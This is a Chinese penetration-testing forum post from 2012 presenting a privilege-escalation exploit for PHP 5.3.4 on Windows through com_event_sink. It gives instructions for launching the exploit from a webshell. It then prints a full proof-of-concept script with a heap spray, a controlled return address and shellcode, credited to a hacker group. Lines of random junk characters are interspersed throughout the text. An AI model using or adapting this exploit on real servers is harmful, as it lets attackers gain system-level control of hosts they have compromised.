中国网络渗透测试联盟
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-11-9 21:08
标题:
PHP 5.3.4(WIN) COM_SINK权限提升漏洞
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
/ _% e8 ~9 v5 b' T/ t. P* {' p2 u
# t* _$ w; N7 u% X% }0 m
测试方法如下:cmd /c x:\php\php.exe x:\test.php
% W$ F; q& w) Y" W0 J/ F2 O! y
* y1 A# Y3 O, z
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
( i# p' R9 t( H7 A! a" \# ?6 q$ m
这里是两个测试的截图:
3 f: [9 k0 c8 e2 s) L
, P0 |! H" X' Z T8 m8 G3 B; v
! o- E3 s4 b' T7 G
+ v7 l# l! L) G; f# S6 G9 x- O( U
, D; H: z2 M# i. R& }& F
: z2 D; R0 G3 D" V; q
成功利用此漏洞的攻击者将获得系统的最高权限
6 R* K. q- o' I! ?
( J! U Y' H3 Q( c* `, h
. e7 {: n* `# {" o
2 `, k" E; g. M% x, w' Q
2 ~: X) O- Q O# @( } M+ }) l
5 D( p# N6 |& u/ V5 Y; j
关于漏洞分析稍后附上。一下是PoC代码:
% w! s( v8 B6 X2 H( q* ]; w7 Y
. T! e6 B7 K1 ^
<?php
3 I1 a: N+ z6 D5 \
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
' V8 H4 U8 ?* i9 O
//$eip ="\x44\x43\x42\x41";
3 R7 e( M" W' Y4 S
$eip= "\x4b\xe8\x57\x78";
; a( l1 e( c! l( X
$eax ="\x80\x01\x8d\x04";
& @: b3 K9 I$ H4 n
$deodrant="";
* _4 d& r. M8 z7 j% q- L9 c$ t. G2 w
$axespray = str_repeat($eip.$eax,0x80);
1 i1 _% L8 z' s/ x- r7 r
//048d0190
# d9 e" U( @" }, H5 A& n
echo strlen($axespray);
1 M3 z3 b0 M3 E; c3 T
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
8 d) M) c4 ~! p* j" V% t/ n
echo "Silic Group Hacker Army - BlackBap.Org";
: w6 g6 h: R6 F* _1 ^9 o
//19200 ==4B32 4b00
+ C% s/ z j3 h3 A
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
9 g9 f0 C, A1 s5 _+ i9 ^' B
$terminate = "T";
) q7 a- D5 X2 `6 ]
$u[] =$deodrant;
9 k. q n% V5 Z' C2 Z$ R
$r[] =$deodrant.$terminate;
Y: ~1 r2 t" k' J) G" R
$a[] =$deodrant.$terminate;
7 O8 H5 g6 \4 q5 P
$s[] =$deodrant.$terminate;
; }1 s$ Q+ v% b% T
//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的
' {% Z( L5 ] |2 d3 z f
$vVar = new VARIANT(0x048d0000+180);
3 G+ \- w0 X- w5 y9 a2 }
//弹窗代码(Shellcode)
. c2 }' n' s# a
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
. t% k/ P* Q" |6 Q' U
$var2 = new VARIANT(0x41414242);
) r v+ k2 U' m& d* n1 _
com_event_sink($vVar,$var2,$buffer);
; u; u. p T" \, Q/ K
?>
Q2 u( k$ {( G5 r: S N
[attach]113[/attach][attach]114[/attach]
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2